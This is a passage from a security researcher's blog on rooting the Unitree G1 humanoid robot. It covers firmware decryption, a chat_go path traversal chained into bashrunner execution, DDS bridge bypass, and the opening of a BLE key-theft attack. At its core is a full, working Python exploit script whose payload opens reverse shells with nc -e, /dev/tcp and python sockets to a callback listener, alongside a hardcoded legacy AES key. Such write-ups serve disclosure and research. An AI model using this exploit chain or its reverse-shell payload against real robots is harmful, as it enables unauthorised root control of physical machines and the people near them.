bus.\n\n: The PythonNote`aiortc`\n\nlibrary needs two monkey-patches to work with the G1's WebRTC stack. Without them, the ICE/DTLS handshake completes silently, the data channel never opens, and every exploit that uses WebRTC hangs at the validation step with no error, no exception, no indication of what went wrong. I gave up debugging this and had AI fix the issue for me, im not smart enough 🙂. TLDR:`aiortc`\n\nregenerates ICE credentials across internal connection objects so the STUN binding requests don't match the SDP offer, and its DTLS fingerprint lookup can't resolve sha-256 lol...\n\n** WE FINALLY have a delivery mechanism **🎉. All that's left is to find an exploitable RCE in one of those\n\n`28`\n\nservices running as root inside the Locomotion PC... and for that, we need the source code... somehow 😅. ## Extracting the Firmware\n\nI'm too chicken shit to unsolder anything on the G1. I'll spare you a lot of details, but Unitree mainly publishes their firmware on public CDNs behind a Tencent Cloud EdgeOne WAF.\n\nThe `.upk`\n\nfiles are Unitree's custom OTA package format. They are encrypted with TEA (Tiny Encryption Algorithm), but the encryption key can be derived from plaintext data in the file header.\n\n```\nOffset  Size   Field\n0x00    5B     Magic: \"UTPK\\x00\"\n0x05    1B     isPackage flag\n0x08    8B     Timestamp\n0x10    8B     Payload size\n0x18    4B     File type (3 = TAR)\n0x1C    4B     Seed (plaintext, used for key derivation)\n0x20    16B    MD5 of payload (TEA header + encrypted data)\n0x30    64B    Package name (null-terminated string)\n0x70    ...    Payload: \"TEA\\x00\" + TEA-encrypted tar\n```\n\nI only know this because I got to stand on the shoulders of [Bin4ry](https://github.com/Bin4ry?ref=boschko.ca), whose [UniTEABag](https://github.com/Bin4ry/UniTEABag?ref=boschko.ca) research ([CVE-2026-1442](https://takeonme.org/cves/cve-2026-1442/?ref=boschko.ca)) did all the work for me. I owe that man a beer 🍺.\n\nBasically, the key derivation function uses two hardcoded constants (`0x6e35ba0c`\n\nand `0x9a8b7c6e`\n\n) baked into the OTA firmware binaries `ota_pipe_service`\n\n, `ota_engine_utils`\n\n, and `ota_module_utils`\n\nall carry them.\n\nThe cipher is TEA in ECB mode, 16 rounds (not the standard 32), delta `0x9E3779B9`\n\n, 128-bit key derived from a 4-byte seed. The seed sits in the UPK header at offset `0x1C`\n\nin plaintext. Since the KDF is deterministic, anyone who can read the UPK file has everything needed to derive the decryption key. The only integrity check is an MD5 hash over the payload, which is recomputable.\n\nCool, let's just grab the UPK and use the [UniTEABag](https://github.com/Bin4ry/UniTEABag?ref=boschko.ca) project.\n\n```\ncurl -L -o /tmp/g1_firmware.upk  \"https://unitree-firmware.oss-cn-hangzhou.aliyuncs.com/firmware/release/package_1.4.5.0_G1_Edu%2B_1759976671033.upk\"\n\npython3 /Users/boschko/unitre/findings/poc/UniTEABag/UniTEABag.py -d -i /tmp/g1_firmware.upk\n```\n\nThe TAR doesn't contain a full filesystem. These are OTA update packages containing `25`\n\nmodule directories, each with a versioned `.upk`\n\nfile inside. So the firmware delivery is just a big outer UPK wrapping a bunch of inner UPKs.\n\nAll `25`\n\nUPK modules use the exact same TEA encryption. For each one, we just read its seed, derive its key, MD5 verify, and produce a TAR that contains the actual binaries, Python source, config files, shell scripts, etc.\n\n`master_service`\n\nreports (depending on firmware version) approximately `24–28`\n\nmanaged child services, but the locomotion PC contained `25`\n\ninstalled Unitree modules.\n\n__RCE #1:__ Root RCE via AI Service `chat_go`\n\nPath Traversal into `bashrunner`\n\nExecution\n\nOf the 25 `/unitree/module/`\n\nservices directories we pulled, the `chat_go`\n\nand `bashrunner`\n\ncan be chained together into an *unauthenticated* (physical access required, __for now __😉) code execution as root. If you read the [Go2](https://boschko.ca/unitree-go2-rce/) blog, `bashrunner`\n\nshould bring a smile to your face & it ± works the same as the Go2 😃.\n\nI say \"Note:for now\" because once anyone obtains RCE on the Locomotion PC they can pulled the full Python type definitions from`/unitree/module/chat_go/unitree_api/msg/dds_/`\n\nand the`Request_`\n\n,`Response_`\n\n,`RequestHeader_`\n\ndataclasses that define the DDS message format. With these anyone can re-translate them into a standard IDL file, run the CycloneDDS idlc compiler, generate custom C type descriptors, and rewrite the python exploit in pure C with native DDS calls, and cross-compiled it for aarch64. In doing that we couldcompleatly bypass WebRTC. (This is covered later).\n\nTheNote Note:readprimitive from RCE #1 matters again later for RCE #2 (overflows a 500-byte BLE SSID buffer with a 1050-byte payload and corrupting a .bss function pointer). The RCE #2 target`btgatt-server`\n\nis PIE-enabled and ASLR is active,`chat_go`\n\nrunning as root lets us read`/proc/pid/map`\n\nallowing us to resolve absolute addresses of`system@PLT`\n\nand a ton of there stuff.\n\n`chat_go`\n\nis the G1's conversational AI service. It runs at `/unitree/module/chat_go/service.py`\n\nas `root`\n\n. Its job is handling voice interaction, LLM chat, text-to-speech, and a \"knowledge\" system where the phone app can upload text snippets for the LLM to reference during conversations.\n\nThe service is structured as a multi-threaded Python application. `service.py`\n\nis the main entry point for `chat_go`\n\n. When the G1 boots, `master_service`\n\nstarts this script.\n\nEach thread handles one aspect of the AI assistant and runs forever.\n\n`app_thread`\n\nlistens to microphone input.`config_thread`\n\nhandles settings and knowledge uploads ().__THE ONE WE EXPLOIT__`planning_thread`\n\nsends text to the LLM and plans responses.`tts_thread`\n\nconverts text responses to spoken audio.`action_thread`\n\ntranslates LLM actions into physical movement.\n\n`ConfigThread`\n\nis the thread that handles *configuration changes*. It updates LLM settings, manages \"knowledge\" (text the robot can reference during conversations), controls dance moves, etc. It subscribes to the DDS topic `rt/api/gpt/request`\n\nand dispatches incoming messages to handler functions __based on the api_id field in the request__.\n\nThese DDS `api_id`\n\nare defined in a bunch of different `const.py`\n\nfiles and are used by other files. (* Unitree stores all their JUICY secrets and hardcoded stuff in *.\n\n`const.py`\n\nfiles)`config_thread.py`\n\nis where DDS messages arrive and get routed. The `ConfigThread`\n\nmain loop receives a DDS message, parses the parameter from a raw JSON string into a Python object, and dispatches to the matching handler.\n\n`knowledge`\n\nis for stuff you'd like the LLM/G1 to remember for future conversations. If I say `\"My name is Olivier, and I am very sexy\"`\n\n, this is sent to the robot and __stored as a markdown file so the LLM can reference it later__ & it's sent as a DDS message that carries a JSON parameter string as a `uid`\n\n(a name for the knowledge file) and `content`\n\n(the text to store). My message would look like:\n\n```\n[{\"uid\": \"user_preferences\", \"content\": \"My name is Olivier, and I am very sexy\"}]\n```\n\nThe handler passes the parsed object to the config manager. When a DDS message arrives with `api_id=1006`\n\n. It takes whatever the caller sent and passes it directly to `config_manager.add_knowledge()`\n\nwith no validation, no sanitization.\n\n`add_knowledge`\n\niterates over the uploaded knowledge files and calls ** save_knowledge** for each one.\n\nThe `knowledge_file`\n\nat line 128 is our vulnerability. Before getting into `save_knowledge`\n\n, we need to understand *where* it writes these files. The ConfigManager class sets up a `knowledge_dir_`\n\npath during initialization.\n\n`util.py`\n\nreturns the `SYS_CFG_DIR`\n\nconstant of `/unitree/robot/config/chat_go`\n\n.\n\nWhen `ConfigManager.__init__()`\n\nruns, it calls `_change_cfg_dir()`\n\n, which builds the knowledge directory path.\n\nSo `self.knowledge_dir_`\n\nis either `/unitree/robot/config/chat_go/knowledge`\n\n(normal case) or `/unitree/module/chat_go/data/knowledge`\n\n(fallback). A *normal* uid would be something like `facts_about_my_cat`\n\nwhich produces `/unitree/robot/config/chat_go/knowledge/facts_about_my_cat.md`\n\n. But we can set our UID to `uid = ../../../../module/bashrunner/content_acquisition/pwn`\n\nwhich will produce `/unitree/robot/config/chat_go/knowledge/../../../../module/bashrunner/content_acquisition/pwn.md`\n\n. Python's `open()`\n\npasses this to the OS, which resolves the `../`\n\nsequence going from `knowledge/ -> chat_go/ -> config/ -> robot/ -> /unitree/`\n\nThen back down into `/unitree/module/bashrunner/content_acquisition/pwn.md`\n\n.\n\nBoth `uid`\n\nand `content`\n\nfiles travel together from the DDS message string through `json.loads()`\n\n-> `_upload_knowledge()`\n\n-> `add_knowledge()`\n\n-> `save_knowledge()`\n\nwith no validation at any step. If we pass something like:\n\n```\n[{\"uid\": \"../../../../../unitree/module/bashrunner/content_acquisition/pwn\", \"content\": \"#!/bin/sh\\nid\"}]\n```\n\nIt's ** GG.** We now have a way to control and\n\n__write arbitrary files__with\n\n__arbitrary content__to\n\n__arbitrary locations__on the filesystem as root. Now we need something to run it.\n\n`bashrunner`\n\nis a simpler service than `chat_go`\n\nand runs at `/unitree/module/bashrunner/bashrunner.py`\n\n. Its purpose is to run shell scripts on behalf of other services (like \"get the serial number\" running `{\"script\": \"get_sn.sh\"}`\n\n). It's important to know that `bashrunner`\n\nsits *idle*, listening on its DDS topic, waiting for someone to ask it to run a script.\n\nIt's a DDS participant on `Domain 0`\n\nand subscribes to the `rt/api/bashrunner/request`\n\ntopic.\n\nIt executes scripts from two whitelisted directories.\n\nThis \"allowed\" list is built at module import time and is not refreshed during the process lifetime. The legitimate contents of `/content_acquisition`\n\nare small utility scripts:\n\nWhen bashrunner receives a DDS message on `rt/api/bashrunner/request`\n\n, the handler extracts the filename from the JSON parameter and checks it against\n\nboth whitelists.\n\nIf our DDS parameter is `'{\"script\": \"pwn.md\"}'`\n\nit'll pull out the filename such that, `args = ['pwn.md']`\n\nthen check to see if that filename is in the `command_execution`\n\nwhitelist. Then it checks the `content_acquisition`\n\nwhitelist. If `pwn.md`\n\nis in there, `os.listdir()`\n\nwill pick it up.\n\nThe base command is always `sh`\n\n, and `sh`\n\ndoesn't care that the file ends in `.md`\n\n, it just executes whatever's inside.\n\n**Step 1: **Start the `chat_go`\n\nservice, since it may not be running. We'll send a DDS request to `robot_state_service`\n\nthrough the WebRTC bridge and query the status of all services.\n\n`status=0`\n\nmeans the service is not running. `protect=0`\n\nmeans it's not a protected service (protected services can't be stopped via the DDS ServiceSwitch API).\n\n**Step 2:** Send a DDS message to `rt/api/robot_state/request, api_id 1001`\n\nwith `{\"name\": \"chat_go\", \"switch\": 1}`\n\nwhich tells the `robot_state_service`\n\nto start the `chat_go`\n\nservice.\n\n**Step 3:** Write our path traversal by sending a `rt/api/gpt/request, api_id 1006`\n\nrequest. This reaches `chat_go`\n\n`_upload_knowledge`\n\nhandler, which calls `save_knowledge()`\n\nwith our `uid`\n\nand `content`\n\n. The `uid`\n\ncontrols WHERE the file is written & the content controls WHAT is written inside it. The payload here was just `\"#!/bin/sh\\nid && hostname && whoami\"`\n\n.\n\n**Step 4:** Pwn.md is on disk, owned by root, containing our commands. Now we just have to restart bashrunner because `pwn.md`\n\nisn't in the `content_acquisition`\n\nwhitelist.\n\nAll we do is send the same `RPCServiceSwitch`\n\nat `api_id 1001`\n\nhandler request `rt/api/robot_state/request, api_id 1001`\n\nto power off `{\"name\": \"bashrunner\", \"switch\": 0}`\n\nand back on `{\"name\": \"bashrunner\", \"switch\": 1}`\n\nbashrunner.\n\n**Step 5:** We send a DDS request to bashrunner `rt/api/bashrunner/request, api_id 1001`\n\nsaying \"run pwn.md\" `{\"script\": \"pwn.md\"}`\n\nit checks & confirms that `pwn.md`\n\nis in the `content_acquisition`\n\ndirectory, so it runs `sh /unitree/module/bashrunner/content_acquisition/pwn.md`\n\nas root and returns the output.\n\n``` bash\n#!/usr/bin/env python3\n\"\"\"\nUnitree G1 Reverse Root Shell (Physical Access)\n\nUnauthenticated remote root shell on the locomotion PC 192.168.123.161 \nChain: WebRTC → DDS → chat_go path traversal → bashrunner exec as root.\n\nMake sure you can ping the G1. I set the IP of my dongle to 192.168.123.55: sudo ifconfig en6 192.168.123.55 netmask 255.255.255.0 up\n\nUsage:\n  Terminal 1:  nc -lvp 4444\n  Terminal 2:  python3 reverse_shell_standalone.py [callback_ip] [callback_port]\n\nDefaults: callback to 192.168.123.55:4444, robot at 192.168.123.161.\n\"\"\"\n\nimport asyncio\nimport base64\nimport binascii\nimport hashlib\nimport json\nimport random\nimport struct\nimport sys\nimport time\nimport uuid\nfrom urllib.request import Request, urlopen\n\nimport aioice\n\nclass _Connection(aioice.Connection):\n    local_username = aioice.utils.random_string(4)\n    local_password = aioice.utils.random_string(22)\n    def __init__(self, *args, **kwargs):\n        super().__init__(*args, **kwargs)\n        self.local_username = _Connection.local_username\n        self.local_password = _Connection.local_password\n\naioice.Connection = _Connection\n\nimport aiortc\nfrom cryptography.hazmat.primitives import hashes\naiortc.rtcdtlstransport.X509_DIGEST_ALGORITHMS = {\n    \"sha-256\": hashes.SHA256(),\n}\n\nfrom aiortc import RTCPeerConnection, RTCSessionDescription, RTCConfiguration\nfrom Crypto.Cipher import AES, PKCS1_v1_5\nfrom Crypto.PublicKey import RSA\n\nROBOT_IP = \"192.168.123.161\"\nAES_128_KEY = \"Change Me\"\nTRAVERSAL_UID = \"../../../../../unitree/module/bashrunner/content_acquisition/pwn\"\n\n# cryoto primitive decrypt from on_notify (data2=3)\n\ndef aes_gcm_decrypt(key_bytes, raw):\n    tag = raw[-16:]\n    nonce = raw[-28:-16]\n    ct = raw[:-28]\n    cipher = AES.new(key_bytes, AES.MODE_GCM, nonce=nonce)\n    return cipher.decrypt_and_verify(ct, tag).decode()\n\ndef aes_ecb_pad(data):\n    bs = 16\n    padding = bs - len(data) % bs\n    return (data + chr(padding) * padding).encode()\n\ndef aes_ecb_unpad(data):\n    return data[:-data[-1]].decode()\n\ndef aes_ecb_encrypt(plaintext, key_hex):\n    cipher = AES.new(key_hex.encode(), AES.MODE_ECB)\n    return base64.b64encode(cipher.encrypt(aes_ecb_pad(plaintext))).decode()\n\ndef aes_ecb_decrypt(b64_ct, key_hex):\n    cipher = AES.new(key_hex.encode(), AES.MODE_ECB)\n    return aes_ecb_unpad(cipher.decrypt(base64.b64decode(b64_ct)))\n\ndef rsa_encrypt(plaintext, pubkey):\n    cipher = PKCS1_v1_5.new(pubkey)\n    max_chunk = pubkey.size_in_bytes() - 11\n    data = plaintext.encode()\n    out = bytearray()\n    for i in range(0, len(data), max_chunk):\n        out.extend(cipher.encrypt(data[i:i + max_chunk]))\n    return base64.b64encode(out).decode()\n\ndef generate_aes_key():\n    return binascii.hexlify(uuid.uuid4().bytes).decode()\n\ndef calc_path_ending(data1):\n    letters = \"ABCDEFGHIJ\"\n    last10 = data1[-10:]\n    pairs = [last10[i:i + 2] for i in range(0, len(last10), 2)]\n    return \"\".join(str(letters.index(p[1])) for p in pairs if len(p) > 1 and p[1] in letters)\n\ndef validation_response(challenge_key):\n    md5 = hashlib.md5(f\"UnitreeGo2_{challenge_key}\".encode()).hexdigest()\n    return base64.b64encode(bytes.fromhex(md5)).decode()\n\n# webrtc\n\ndef http_post(url, body=None, content_type=None):\n    headers = {}\n    if content_type:\n        headers[\"Content-Type\"] = content_type\n    data = body.encode() if isinstance(body, str) else body\n    req = Request(url, data=data, headers=headers, method=\"POST\")\n    with urlopen(req, timeout=5) as resp:\n        return resp.read().decode()\n\n# first step con_notify to get robot's RSA pubkey\ndef signaling_exchange(ip, sdp_offer_json, aes_128_hex):\n    resp_b64 = http_post(f\"http://{ip}:9991/con_notify\")\n    decoded = json.loads(base64.b64decode(resp_b64).decode())\n    data1_b64 = decoded[\"data1\"]\n    data2 = decoded[\"data2\"]\n\n    if data2 == 3:\n        data1 = aes_gcm_decrypt(bytes.fromhex(aes_128_hex), base64.b64decode(data1_b64))\n    elif data2 == 2:\n        legacy_key = bytes([232, 86, 130, 189, 22, 84, 155, 0, 142, 4, 166, 104, 43, 179, 235, 227])\n        data1 = aes_gcm_decrypt(legacy_key, base64.b64decode(data1_b64))\n    else:\n        data1 = data1_b64\n\n    pubkey_pem = data1[10:len(data1) - 10]\n    path_ending = calc_path_ending(data1)\n\n    # Step 2: Encrypt SDP with fresh AES key, wrap AES key with RSA\n    session_key = generate_aes_key()\n    pubkey = RSA.import_key(base64.b64decode(pubkey_pem))\n    body = json.dumps({\n        \"data1\": aes_ecb_encrypt(sdp_offer_json, session_key),\n        \"data2\": rsa_encrypt(session_key, pubkey),\n    })\n\n    resp = http_post(\n        f\"http://{ip}:9991/con_ing_{path_ending}\",\n        body=body,\n        content_type=\"application/x-www-form-urlencoded\",\n    )\n    return aes_ecb_decrypt(resp, session_key)\n\n# pub/sub over webrtc channel\n\nclass PubSub:\n    def __init__(self, channel):\n        self.channel = channel\n        self.pending = {}  # key → [futures]\n\n    def _make_key(self, msg_type, topic, identifier):\n        return identifier or f\"{msg_type} $ {topic}\"\n\n    def _get_id(self, data):\n        if not isinstance(data, dict):\n            return None\n        for path in [(\"uuid\",), (\"header\", \"identity\", \"id\"), (\"req_uuid\",)]:\n            obj = data\n            for k in path:\n                if isinstance(obj, dict) and k in obj:\n                    obj = obj[k]\n                else:\n                    obj = None\n                    break\n            if obj is not None:\n                return obj\n        return None\n\n    def resolve(self, message):\n        key = self._make_key(\n            message.get(\"type\", \"\"),\n            message.get(\"topic\", \"\"),\n            self._get_id(message.get(\"data\")),\n        )\n        if key in self.pending:\n            for fut in self.pending.pop(key):\n                if not fut.done():\n                    fut.set_result(message)\n\n    def send_json(self, msg_type, topic, data=None):\n        msg = {\"type\": msg_type, \"topic\": topic}\n        if data is not None:\n            msg[\"data\"] = data\n        self.channel.send(json.dumps(msg))\n\n    async def publish_request(self, topic, api_id, parameter=\"\", timeout=10):\n        req_id = int(time.time() * 1000) % 2147483648 + random.randint(0, 1000)\n        payload = {\n            \"header\": {\"identity\": {\"id\": req_id, \"api_id\": api_id}},\n            \"parameter\": parameter if isinstance(parameter, str) else json.dumps(parameter),\n        }\n        loop = asyncio.get_event_loop()\n        fut = loop.create_future()\n        key = self._make_key(\"req\", topic, req_id)\n        self.pending.setdefault(key, []).append(fut)\n        self.send_json(\"req\", topic, payload)\n        return await asyncio.wait_for(fut, timeout)\n\n# webrtc connection\n\nasync def connect_webrtc(ip, aes_128_hex):\n    pc = RTCPeerConnection(RTCConfiguration(iceServers=[]))\n    channel = pc.createDataChannel(\"data\")\n    pub_sub = PubSub(channel)\n    validated = asyncio.Event()\n    challenge_key = \"\"\n\n    @channel.on(\"open\")\n    def on_open():\n        pass\n\n    @channel.on(\"message\")\n    async def on_message(message):\n        nonlocal challenge_key\n        if not message:\n            return\n        if isinstance(message, bytes):\n            if len(message) < 4:\n                return\n            h1, h2 = struct.unpack_from('<HH', message, 0)\n            if h1 == 2 and h2 == 0:\n                return\n            hdr_len, = struct.unpack_from('<H', message, 0)\n            try:\n                parsed = json.loads(message[4:4 + hdr_len].decode())\n                pub_sub.resolve(parsed)\n            except:\n                pass\n            return\n\n        try:\n            parsed = json.loads(message)\n        except json.JSONDecodeError:\n            return\n\n        msg_type = parsed.get(\"type\")\n\n        if msg_type == \"validation\":\n            if parsed.get(\"data\") == \"Validation Ok.\":\n                validated.set()\n            else:\n                challenge_key = parsed.get(\"data\", \"\")\n                channel._setReadyState(\"open\")\n                resp = validation_response(challenge_key)\n                channel.send(json.dumps({\"type\": \"validation\", \"topic\": \"\", \"data\": resp}))\n        elif msg_type == \"err\":\n            if parsed.get(\"info\") == \"Validation Needed.\":\n                resp = validation_response(challenge_key)\n                channel.send(json.dumps({\"type\": \"validation\", \"topic\": \"\", \"data\": resp}))\n        elif msg_type == \"heartbeat\":\n            pass\n        else:\n            pub_sub.resolve(parsed)\n\n    # send offer and wait\n    offer = await pc.createOffer()\n    await pc.setLocalDescription(offer)\n\n    sdp_offer = json.dumps({\n        \"id\": \"STA_localNetwork\",\n        \"sdp\": pc.localDescription.sdp,\n        \"type\": pc.localDescription.type,\n        \"token\": \"\",\n    })\n\n    answer_json = signaling_exchange(ip, sdp_offer, aes_128_hex)\n    answer = json.loads(answer_json)\n\n    if answer.get(\"sdp\") == \"reject\":\n        raise RuntimeError(\"Robot busy — another WebRTC client is connected\")\n\n    await pc.setRemoteDescription(\n        RTCSessionDescription(sdp=answer[\"sdp\"], type=answer[\"type\"])\n    )\n\n    # validation shit actually needed \n    await asyncio.wait_for(validated.wait(), timeout=15)\n\n    # Start heartbeat\n    async def heartbeat_loop():\n        while pc.connectionState == \"connected\":\n            if channel.readyState == \"open\":\n                pub_sub.send_json(\"heartbeat\", \"\", {\n                    \"timeInStr\": time.strftime(\"%Y-%m-%d %H:%M:%S\"),\n                    \"timeInNum\": int(time.time()),\n                })\n            await asyncio.sleep(2)\n\n    asyncio.ensure_future(heartbeat_loop())\n    return pc, pub_sub\n\n# dds request fix\n\nasync def dds_req(ps, topic, api_id, parameter, timeout=10):\n    param_str = parameter if isinstance(parameter, str) else json.dumps(parameter)\n    try:\n        resp = await ps.publish_request(topic, api_id, param_str, timeout)\n        d = resp.get(\"data\", {})\n        code = d.get(\"header\", {}).get(\"status\", {}).get(\"code\", \"?\")\n        return code, d.get(\"data\", \"\")\n    except asyncio.TimeoutError:\n        return \"TIMEOUT\", \"\"\n    except Exception as e:\n        return \"ERR\", str(e)[:200]\n\n# payload reverse shell \n\ndef make_payload(cb_ip, cb_port):\n    return f\"\"\"#!/bin/sh\npython3 -c '\nimport socket,subprocess,os,pty\ns=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\ns.connect((\"{cb_ip}\",{cb_port}))\nos.dup2(s.fileno(),0)\nos.dup2(s.fileno(),1)\nos.dup2(s.fileno(),2)\npty.spawn(\"/bin/sh\")\n' 2>/dev/null &\nbusybox nc {cb_ip} {cb_port} -e /bin/sh 2>/dev/null &\nbash -c 'bash -i >& /dev/tcp/{cb_ip}/{cb_port} 0>&1' 2>/dev/null &\nsleep 1\necho \"shell_sent\"\n\"\"\"\n\n# main exploit chain\n\nasync def main():\n    cb_ip = sys.argv[1] if len(sys.argv) > 1 else \"192.168.123.55\"\n    cb_port = int(sys.argv[2]) if len(sys.argv) > 2 else 4444\n    payload = make_payload(cb_ip, cb_port)\n\n    print(f\"[*] Callback: {cb_ip}:{cb_port}\")\n    print(f\"[*] Make Sure Callback Listener is Reader {cb_port}\")\n\n    # connect\n    print(\"[*] Connecting via WebRTC...\")\n    pc, ps = await connect_webrtc(ROBOT_IP, AES_128_KEY)\n    print(\"[+] WebRTC connected + validated\")\n\n    # start chat_go (needed for path traversal file write)\n    print(\"[*] Starting chat_go...\")\n    await dds_req(ps, \"rt/api/robot_state/request\", 1001,\n                  json.dumps({\"name\": \"chat_go\", \"switch\": 1}))\n    await asyncio.sleep(8)\n\n    # this is a readiness check \n    code, _ = await dds_req(ps, \"rt/api/gpt/request\", 1009, \"\")\n    if code == \"TIMEOUT\":\n        print(\"[*] Waiting for chat_go init...\")\n        await asyncio.sleep(10)\n        code, _ = await dds_req(ps, \"rt/api/gpt/request\", 1009, \"\")\n    if code == \"TIMEOUT\":\n        print(\"[-] chat_go not responding\")\n        await pc.close()\n        return\n    print(\"[+] chat_go alive\")\n\n    # upload reverse shell via path traversal in chat_go knowledge API\n    print(\"[*] Uploading payload (path traversal)...\")\n    code, _ = await dds_req(ps, \"rt/api/gpt/request\", 1006,\n                            json.dumps([{\"uid\": TRAVERSAL_UID, \"content\": payload}]),\n                            timeout=8)\n    print(f\"[+] Payload written\")\n\n    # restart bashrunner to pick up new script in whitelist\n    print(\"[*] Restarting bashrunner...\")\n    await dds_req(ps, \"rt/api/robot_state/request\", 1001,\n                  json.dumps({\"name\": \"bashrunner\", \"switch\": 0}))\n    await asyncio.sleep(3)\n    await dds_req(ps, \"rt/api/robot_state/request\", 1001,\n                  json.dumps({\"name\": \"bashrunner\", \"switch\": 1}))\n    await asyncio.sleep(5)\n    print(\"[+] bashrunner restarted\")\n\n    # execute\n    print(\"[*] Executing reverse shell...\")\n    code, _ = await dds_req(ps, \"rt/api/bashrunner/request\", 1001,\n                            json.dumps({\"script\": \"pwn.md\"}), timeout=15)\n    if code == 0:\n        print(\"[+] Payload executed — check your listener\")\n    else:\n        print(f\"[?] code={code} — check listener anyway\")\n\n    await asyncio.sleep(2)\n    await pc.close()\n    print(\"[*] Done\")\n\nif __name__ == \"__main__\":\n    asyncio.run(main())\n```\n\n## Goodbye WebRTC, We're Taking the DDS Bus\n\nWebRTC on `9991`\n\nis **not** the only way onto the Locomotion PC's DDS bus, just the cleanest one. DDS itself doesn't care how the message got there. If it lands on the right topic with the right CDR serialization and type, the service will accept it.\n\n`This part covers how we can bypass `` webrtc_bridge`\n\npermanently & never need an AES key again. You can skip this part; we won't use it, but we could.\n\nThe AES key, DTLS handshake, and HTTP signaling on `9991`\n\nprotect the ** bridge**, not the\n\n**. Underneath, CycloneDDS is still sitting on**\n\n__bus__`Domain 0`\n\n& no participant authentication, access-control policy, or encryption is enabled. So **on the G1 network that can \"speak DDS\" can just construct the same**\n\n__anything__`Request_`\n\nmessages the `webrtc_bridge`\n\nwould, then publish them directly over UDP multicast.As proof of what I'm saying above, I'll use the RCE #1 root access to view and translate the message types into an IDL file, generate the `C`\n\nbindings, and compile a standalone exploit that runs the same five-step `chat_go -> bashrunner`\n\nchain over raw DDS. __No code is being changed on the G1.__\n\n### DDS: publish, subscribe, compromise\n\nRequests use Unitree's `Request_`\n\ntype, and replies use `Response_`\n\n. To talk to these services directly with Cyclone DDS, knowing the topic names is __ not__ enough. Our writer also needs to present the same DDS type identity and an\n\n__exact__wire-compatible data layout as the robot's reader. Unitree includes all of this in the UPK & has almost everything needed to reconstruct those types.\n\nThey've all got slick comments telling us exactly where it came from.\n\nUnitree originally defined these structures in IDL files (Interface Definition Language), and those definitions got passed through Cyclone DDS's idlc compiler to produce those Python bindings. We don't have their `.idl`\n\nsource files, but we can work our way backwards from the generated bindings (field order, nesting, integer widths, strings, byte sequences, and DDS type names) and reconstruct our own.\n\n### Rebuilding The Missing IDL\n\nTranslating the Python definitions back into IDL was mostly mechanical. All you're doing is combining all eight structures into one `unitree_api.idl`\n\n. This file recreates the `Request_`\n\nand `Response_`\n\n*envelopes* used by the Unitree API services in our exploit. It is ** not** every DDS message type on the robot motion (other systems have their own schemas), but it is everything we need for RCE #1.\n\nGetting the fields right is only part of it. DDS also cares about the type identity... 🙃 The Python binding calls the request type `unitree_api.msg.dds_.Request_`\n\nbut after compiling our IDL, the generated C descriptor shows the scoped IDL name `unitree_api::msg::dds_::Request_`\n\n. If we fuck up the name or the structure, Cyclone DDS might still discover the topic, but it would not match our writer with the robot's reader.\n\nThe following generated descriptor is proof that it was done right.\n\nYou can build it by running the following.\n\n```\nsudo apt-get update\nsudo apt-get install -y build-essential cmake git bison python3-venv python3-dev tcpdump\n\ncd /tmp\ngit clone --depth 1 --branch releases/11.0.x \\\n    https://github.com/eclipse-cyclonedds/cyclonedds.git cyclonedds-11\ncd cyclonedds-11\nmkdir build && cd build\ncmake -DCMAKE_INSTALL_PREFIX=$HOME/cdds11 -DBUILD_IDLC=ON ..\ncmake --build . -j$(nproc)\ncmake --install .\n\nmkdir -p $HOME/pure_dds_linux\ncd $HOME/pure_dds_linux\nmv unitree_api.idl .\n```\n\nAfter it finishes, `$HOME/cdds11/`\n\nshould contain the IDL compiler (`$HOME/cdds11/bin/idlc`\n\n), a test tool (`$HOME/cdds11/bin/ddsperf`\n\n), the CycloneDDS runtime lib (`$HOME/cdds11/lib/libddsc.so`\n\n), and C headers (`$HOME/cdds11/include/`\n\n). Obviously you can install system-wide. So we'll need to use dynamic linkers (where `libddsc.so.11`\n\nlives). Then run `$HOME/cdds11/bin/idlc unitree_api.idl`\n\nwhich generates `unitree_api.h`\n\nand `unitree_api.c`\n\n.\n\nThe header contains the C structures. The generated `.c`\n\nfile contains the type descriptors, serialization operations, and XTypes metadata Cyclone DDS ** needs** to put those structures on the wire. You can test this out & you don't need to write a packet encoder. We can simply fill out a\n\n`Request_`\n\nstructure, call `dds_write()`\n\n, and let `libddsc.so`\n\nhandle discovery, endpoint matching, and CDR serialization.This proves that (using ddsperf) we can see whether our machine could actually join the G1 DDS.\n\n### Doing it in C\n\nThe final C client uses our reconstructed type descriptors to publish Unitree API requests and match the replies using `RequestIdentity_.id`\n\n. There's a lot I won't cover. But for future explorers, QoS sucks. Our writer needs to match what the robot’s request reader expected, even if/while our reader has to accept what the G1 response writer offers. Those are two different relationships, so the hack is to make it asymmetric on purpose.\n\nI wanna be clear that the WebRTC bridge is not the vulnerability. CycloneDDS supports authentication, access control, and encryption. The [Eclipse DDS Security](https://cyclonedds.io/docs/cyclonedds/latest/security/dds_security.html?ref=boschko.ca) specification defines `<Authentication>`\n\n, `<AccessControl>`\n\n, and `<Cryptography>`\n\nplugins. They're available in the CycloneDDS build the robot already runs. The configuration at `/unitree/etc/cyclonedds.xml`\n\njust doesn't enable them.\n\nI didnt think of bypassing the WebRTC bridge until after RCE #2 was fully PoC'd. This is why the rest of the blog sticks to the original WebRTC path.Context:\n\n## Stealing Any Nearby G1's AES Key Over BLE\n\nI recovered my G1's AES-128 key from my own phone’s logs while the Unitree Explore app was already bound to it. That's an __impossible__ position for an attacker to realistically be in. **What I want is a way to walk up to some random G1, know absolutely nothing about it, and somehow yank its unique AES-128 key out of thin air.**\n\nI mentioned earlier that Unitree reuses this per-device AES key for more than WebRTC. **BLE uses it too.** So, let's look at BLE.\n\nWhile hunting, I kept \"wormability\" in the back of my mind & it definitely shaped the bugs I chased.Note:\n\n### The BLE Surface\n\nThe G1 runs a custom GATT server called `btgatt-server`\n\n, and it controls a surprising amount of shit. Internally, incoming BLE messages get dispatched by opcode, with different opcodes handling the handshake, WiFi provisioning, device information, etc.\n\nThese opcodes are going to matter throughout the rest of the blog. __Take the time to read the comments in BN!__\n\nThe interesting split is authentication. Opcodes `0x03`\n\nthrough `0x07`\n\nare WiFi provisioning commands and are gated behind `valid_incoming_user`\n\n, meaning they do nothing until the BLE **handshake succeeds**. The `0xF2`\n\nbootstrap request is different. It's available **before authentication**.\n\n### The BLE Service Doesn't Require Pairing\n\nThe custom BLE service exposed by `btgatt-server`\n\n(`/unitree/module/network_manager/upper_bluetooth/btgatt-server`\n\n) is pretty straightforward: `0xFFE0`\n\nis the service, `0xFFE1`\n\nhandles `robot -> app`\n\nnotifications/responses, and `0xFFE2`\n\nhandles `app -> robot`\n\nwrites like commands, handshakes, and __WiFi configuration__.\n\nThink 